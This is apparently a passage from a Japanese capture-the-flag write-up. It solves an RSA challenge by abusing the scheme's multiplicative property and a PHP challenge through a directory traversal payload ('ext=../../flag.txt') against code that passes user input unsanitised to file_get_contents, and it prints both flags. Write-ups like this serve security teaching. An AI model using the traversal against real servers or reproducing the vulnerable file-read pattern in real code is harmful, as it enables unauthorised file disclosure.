(N, e) = (16246167764371344915850793583389536962968913824418706449931777922481360781934533999636723666635474847265288282604208129589826362968698823561170472836792906203076924708439440712912438288410513785325014151210462389410166050679013631824206419570631721337891925350763316691205332373696964997224609457855137573099311031960140584413399950057461780943493400231922881322988265596579663691502861722965274432865795827273017155248753799772725441212120222046373443408417780757011753760618343802321185617879354980022057557237324617509042404917662695897170347853704749653688071729433703125789217567401115690284416599101644428222389, 65537)
encrypted = b64_to_long("Tz0LbFZKgRSQl3Qg48B22cHLs4jVkHK7a56hCQ+eC3Ko8oG4tFVRpzH07z9/4BPENUpzExpNlP//Exw6QMjK5k1VqCfXjPegIWoq53edPFKkCBgqUSh6fVePIcJ4+Mi94/zCzfX8n+8lSSeCotIskeqjH/2PCwurNFNP1VH7Y25QBWGKvwX0SpJB+fq8WLIdySddx9lsUsIOYZjEO7gB0QVjvpLVn34v6for1CCKJpC8+xcGhmEOboFd2ZdNDBEjSSOsjpJMhLS2nCj9dj9GOObDcZID4tX76seeRM1wpPrKxn714h4Kow82OQvNnwjuMINvduG4AGx3mY5veN80HQ==")

# 余りの世界では、2で割る=2^-1をかける
# 2^-1 = pow(2, -1, N)
# encryptedを2で割ったものは以下のようにして求められる
# encrypted_div_by_2 = (pow(2, -1, N) * encrypted) % N

# encrypted_div_by_2(encryptedを2で割ったもの)を復号した値
dec_div_by_2 = b64_to_long("fqNEIpaR/tNyANj0yobEaZQQyL+W2OEBCLhPNBUiGYinrgTVcTgR9HhccGEYOXANdRs9BhC8VAzR+ykFyJdf5hfDLCmoGqB0YTO7orT6+c09OisoiTxFnjeCRrOzGjjmgwak5Q8PB+xRD1fbKeLpEBLRyPK9V+LKeKYqDA8vUEFs+Nn/m3wK3mfsjbbV6l1yhaRdAWEpN5zB5CjqRCxKS4+ghlDzVlr9holG1c8cDzok7hZQElIi7EAFZISrbWCcK4MXoS5rXAOCUalr0REtXeYCrTIUIpZ7XtitMRYARn7b5AvrmcBzhh4CgqYk7QlTZA+bbYu3jvuqpSqqlKELLQ==")
# 2を復号した値
dec_two = b64_to_long("WL+k1lzTvOKx4acwYzAvTrU/N0BBbfgBrVVbJglGsCRJCInwvCWY5vDu7dV+FKxxJtQDpj4dbQcBtLgUoxcIE6UQUUXpXXjSIh9qDGoIWXl4RjaWF3eJ8l2yDsHugpTEoze7z5CmqRKb1A9D+ry5ensonuLyWOeQkZuJEIvn8KF+sFc+pVQUZ7Nwd8g0nTmw3SCOpOLSPXL704We4eGBTFq657xgEL27PtFF6XzmHV9zrhDHQlo/9n/QZuqA0ia+eE3EALmreTNH9gAOiZpkERz+nSeTjdt+qrPlhyxUC2gpMUlMtndhD8rTaYloIBShbEf4tA4/uZoYy/ImwuKKtw==")

flag = (dec_div_by_2 * dec_two) % N
print(long2bytes(flag))
$ python solve.py
b'xm4s{p1ain_RSA_1s_w3ak}\n'

[web] bad_path

Dockerfileとindex.phpが与えられる。

Dockerfileは以下の通りです。

FROM php:8.0-apache

ADD ./index.php /var/www/html/index.php
ADD ./flag.txt /var/www/flag.txt
ADD ./resource/ /var/www/html/resource/

index.phpは以下の通りです。

<?php

$content = "";
if (isset($_GET["ext"])) {
    $content = file_get_contents("resource/" . $_GET["ext"]);
}

?>

<!DOCTYPE html>
<html lang="ja">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>HelloWorld</title>
   <style type="text/css">
        pre {
          margin: 1em 0;
          padding: 1em;
          background: #25292f;
          color: #fff;
          white-space: pre-wrap;
        }
    </style>
</head>
<body>
    <h1>Hello World!</h1>
    <form>
        <select name="ext">
            <option value="hello.js">JavaScript</option>
            <option value="hello.py">Python</option>
            <option value="hello.rs">Rust</option>
            <option value="hello.c">C</option>
        </select>
        <input type="submit" value="View">
    </form>
    <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre>
</body>
</html>

index.phpを見るとextに渡されたファイル名がそのままresources/の後に追加されていることがわかります。 ディレクトリトラバーサル脆弱性があるため、extにフラグの相対パスを与えるとフラグが得られます。

よって、

https://bad-path.xm4s.net/index.php?ext=../../flag.txt

にアクセスするとフラグが手に入ります。

xm4s{H3110_H3110_CTF3r}